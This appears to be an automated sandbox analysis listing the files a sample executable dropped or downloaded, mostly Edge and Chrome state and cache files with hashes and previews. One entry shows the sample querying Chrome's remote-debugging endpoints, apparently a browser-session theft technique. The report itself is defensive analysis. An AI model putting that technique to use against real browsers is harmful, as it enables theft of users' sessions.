SHA-512:	325E5C57F47B7608A4B7EFB8177D9250379AAD62F966FA7EFFDCF41FB4E9CF4C1D0F99200DBDC8EF621E98D6AD0EEF99158ED84586FF10CCBD5E377D7D9C6CA9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF38d9b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089784100016918
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWldi1zNtPMSkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynndkzItSmd6qE7lFoC
MD5:	4AD74A4D4BA180E8C31F81C7D88D98A1
SHA1:	C96F92C841654B11BB3D393A2BB3E4899487D2B0
SHA-256:	80A46220C2DA6C539533BE8076A4C8A9542B49C7B074F2AF4A9F420344369254
SHA-512:	325E5C57F47B7608A4B7EFB8177D9250379AAD62F966FA7EFFDCF41FB4E9CF4C1D0F99200DBDC8EF621E98D6AD0EEF99158ED84586FF10CCBD5E377D7D9C6CA9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF38dba.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089784100016918
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWldi1zNtPMSkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynndkzItSmd6qE7lFoC
MD5:	4AD74A4D4BA180E8C31F81C7D88D98A1
SHA1:	C96F92C841654B11BB3D393A2BB3E4899487D2B0
SHA-256:	80A46220C2DA6C539533BE8076A4C8A9542B49C7B074F2AF4A9F420344369254
SHA-512:	325E5C57F47B7608A4B7EFB8177D9250379AAD62F966FA7EFFDCF41FB4E9CF4C1D0F99200DBDC8EF621E98D6AD0EEF99158ED84586FF10CCBD5E377D7D9C6CA9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.3488360343066725
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ25AmIpozQp:YQ3Kq9X0dMgAEiLIj
MD5:	8549C255650427D618EF18B14DFD2B56
SHA1:	8272585186777B344DB3960DF62B00F570D247F6
SHA-256:	40395D9CA4B65D48DEAC792844A77D4F8051F1CEF30DF561DACFEEED3C3BAE13
SHA-512:	E5BB8A0AD338372635C3629E306604E3DC5A5C26FB5547A3DD7E404E5261630612C07326E7EBF5B47ABAFADE8E555965A1A59A1EECFC496DCDD5003048898A8C
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":true,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a0592f6d-518e-43c4-b6c0-7165d2616047.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44902
Entropy (8bit):	6.095954788719888
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW2hi1zNtFVGFNFXN5gxVfpFKJDSgzMMd6qD47u3+CO:+/Ps+wsI7ynm8iFKtSmd6qE7lFoC
MD5:	821BECEC86DF28F1C6074CE71E8C9656
SHA1:	487107F8540400D70926623BB6C869624849EE0D
SHA-256:	E5609E8F3DEE3AE2FCC261A5466E383DE6E46E1B31EE4B8EC717916BE75EC56B
SHA-512:	E503771B253368C8B50615AA7804D90111C3940575E3761A96E4905D4F495A6CFC388C6829051F92E0A5E76BA7094DBA2A582F6C3C5904470E1D76849D7D5B43
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e19c6e1c-b08f-4fbe-97b7-037000527258.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089784100016918
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWldi1zNtPMSkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynndkzItSmd6qE7lFoC
MD5:	4AD74A4D4BA180E8C31F81C7D88D98A1
SHA1:	C96F92C841654B11BB3D393A2BB3E4899487D2B0
SHA-256:	80A46220C2DA6C539533BE8076A4C8A9542B49C7B074F2AF4A9F420344369254
SHA-512:	325E5C57F47B7608A4B7EFB8177D9250379AAD62F966FA7EFFDCF41FB4E9CF4C1D0F99200DBDC8EF621E98D6AD0EEF99158ED84586FF10CCBD5E377D7D9C6CA9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\json[1].json

Download File

Process:	C:\Users\user\Desktop\I43xo3KKfS.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.377356320537378
Encrypted:	false
SSDEEP:	48:SfNaoQhTEQs/fNaoQI3nQISfNaoQ0u/Q0tfNaoQMr0UrU0U8QF:6NnQhTEQsXNnQI3nQI6NnQhQkNnQq0Um
MD5:	743E8A24E31E060D65B099D19CABE81A
SHA1:	6D107CF107FCD87C1D3511D56DF36165E34E91BB
SHA-256:	838693D17F5847F4A3CBC48D6AEA3C7618ED42647B0383C946D2DD5C93FB9789
SHA-512:	5226C1D917D12F341F32BCE011527274DC515E6540C92665CAD4D28256255D9807276E7544506AFE40A724CB4B34FC6974EBE1CC3692393C160FBF6AF421A072
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/A4236A4519166B0D63E7F80B9992F0DD",.. "id": "A4236A4519166B0D63E7F80B9992F0DD",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/A4236A4519166B0D63E7F80B9992F0DD"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/BFDE877529120040AE4EC334E94CFA24",.. "id": "BFDE877529120040AE4EC334E94CFA24",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/BFDE877529120040AE4EC334E94CFA24"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.468572938026923
Encrypted:	false
SSDEEP:	6144:uzZfpi6ceLPx9skLmb0flZWSP3aJG8nAgeiJRMMhA2zX4WABluuNxjDH5S:wZHtlZWOKnMM6bFpvj4
MD5:	EA5568B827A58BE52EF13A7ED72FA3AE
SHA1:	8AEFDEF12912838F218AC60DDC2FE2B9F2A89ADF
SHA-256:	73751BB1E597B3C2DF8C34E410ACD578919754559629F4F94BFBFCE9251181B3
SHA-512:	066021A2CBBD56464AD8D9DE276E30F95B5FA0415A4470C8BC7E18136222828AD880060DA67CCAAF9A1C1A12340865337BC272374FA31F0339CAC7D28E12FE4E
Malicious:	false
Preview:	regfH...H....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmb.d.k+................................................................................................................................................................................................................................................................................................................................................r.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.GZmhE2vV14w.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTuKvZ-nsYNivRzfGpm8QSi6tMFrvg"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2287)
Category:	downloaded
Size (bytes):	178061
Entropy (8bit):	5.555305495625512
Encrypted:	false
SSDEEP:	3072:i7bpK2pOwPnpW+DsZDbnjuBv5Vjq3B30GSK20YOA2ZPnpm6UzDnI13o2Mn5Pz5R3:i7bzO6I+DsZDDjuBv5Vjq3B30GSXOA24
MD5:	2901E98725751AAF9E3A6DA8A0AE100F
SHA1:	9A03B9B58521464BEA5EFDB95898D7A4DE2D66C6
SHA-256:	783C8FCA9918286C64FDD9C6DF8BB841815E5F6BA7BA95424DF63EA1ACF01B2D
SHA-512:	21235956E9B45B0C78055C8862072DE63FB1971F6396945610AC925A3E9D2D9FFAEC996DF4A64B33BC57B0EF6CF185A68DAC17D9AD5E570277CDD2BB869C9EBD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.mTUNAFoITms.2019.O/rt=j/m=q_d,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTu-nsZOrMYTmX5E4o0SDpwg5MUFYA"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.kj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var lj,mj,oj,rj,uj,tj,nj,sj;lj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};mj=function(){_.Ka()};oj=function(){nj===void 0&&(nj=typeof WeakMap==="function"?lj(WeakMap):null);return nj};rj=function(a,b){(_.pj\|\|(_.pj=new nj)).set(a,b);(_.qj\|\|(_.qj=new nj)).set(b,a)};.uj=function(a){if(sj===void 0){const b=new tj([],{});sj=Array.prototype.concat.call([],b).length===1}sj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.vj=function(a,b,c,d){a=_.zb(a,b,c,d);return Array.isArray(a)?a:_.Qc};_.wj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.xj=function(a,b){a===0&&(a=_.wj(a,b));return a\|1};_.yj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.zj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.Dj=function(a,b,c,d,e,f,g){const h=a.ea;var k=!!(2&b);e=k?

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (5438)
Category:	downloaded
Size (bytes):	5444
Entropy (8bit):	5.805818210652437
Encrypted:	false
SSDEEP:	96:uXqlitH6666te3H9M14e6O/yBME/+LhTdGPGjzttEg5clmjW+3mTHuRSffQffo:xEH6666t6O14eJAITd4uzAdlm334H3
MD5:	BABB27F78CEFEE732A987CF2337CF480
SHA1:	C19573EBD320252E591FFC94F4099F11008ED5C1
SHA-256:	3616E03216B005F2C5D31A91890C83EA474B0AE4D2E671DD767EF8B4D59F8B17
SHA-512:	E1A1A3203C4E3474DA15F7E512D874A6E3BCECC3BA6437303AD055AA931F54393BA85170281A75F0F6C7A79F28BCE569757C372FCE3890EA01B1BB05AFEE7163
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["keyon martin louisiana football injury","survivor 47 recap","metronet outages","pok.mon tcg pocket","texas teacher certification","hawaii snowing","primus drummer tim alexander leaves band","brian thomas jr injury update"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"Cg0vZy8xMXdjOG4wMDk2EgpWaWRlbyBnYW1lMo8aZGF0YTppbWFnZS9qcGVnO2Jhc2U2NCwvOWovNEFBUVNrWkpSZ0FCQVFBQUFRQUJBQUQvMndDRUFBa0dCd2dIQmdrSUJ3Z0tDZ2tMRFJZUERRd01EUnNVRlJBV0lCMGlJaUFkSHg4a0tEUXNKQ1l4Sng4ZkxUMHRNVFUzT2pvNkl5cy9SRDg0UXpRNU9qY0JDZ29LRFF3TkdnOFBHamNsSHlVM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOLy9BQUJFSUFFQUFRQU1CRVFBQ0VRRURFUUgveEFBYkFBQUNBd0VCQVFBQUFBQUFBQUFBQUFBRUJnRURCUUlBQi8vRUFEUVFBQUlCQWdVQ0JBTUdCd0VBQUFBQUFBRUNBd1FSQUFVR0lURVNFeFFpUVZFVllZRUhJekl6b2FNbFFsSnhrWkxURnYvRUFCb0JBQUlE

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133778
Entropy (8bit):	5.43691224084031
Encrypted:	false
SSDEEP:	3072:2PKvjxd0QniyZ+qQf4VBNQ0pq+vx7U+OUaKszQ:EKvv0yTVBNQ0pdvxI+ORQ
MD5:	5CCBDF296BABF5B84F5F9D3F0956EEEB
SHA1:	6890F68443A03A8992B67C361FBB63C0E8C0FA99
SHA-256:	161A05E69684058418C92D9DBC929BE0BD838E0C4B5D1019217510CB5E6CE06B
SHA-512:	6195281020B97AB32D620563D26CB9FE58BBE2BEDBDD6A86DDA72D2F2471C57A60232EE7BF66C40DC0AC51321201E7C9E2FF6C3A024B3070E115F6F92CD606C4
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Od\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_jd gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
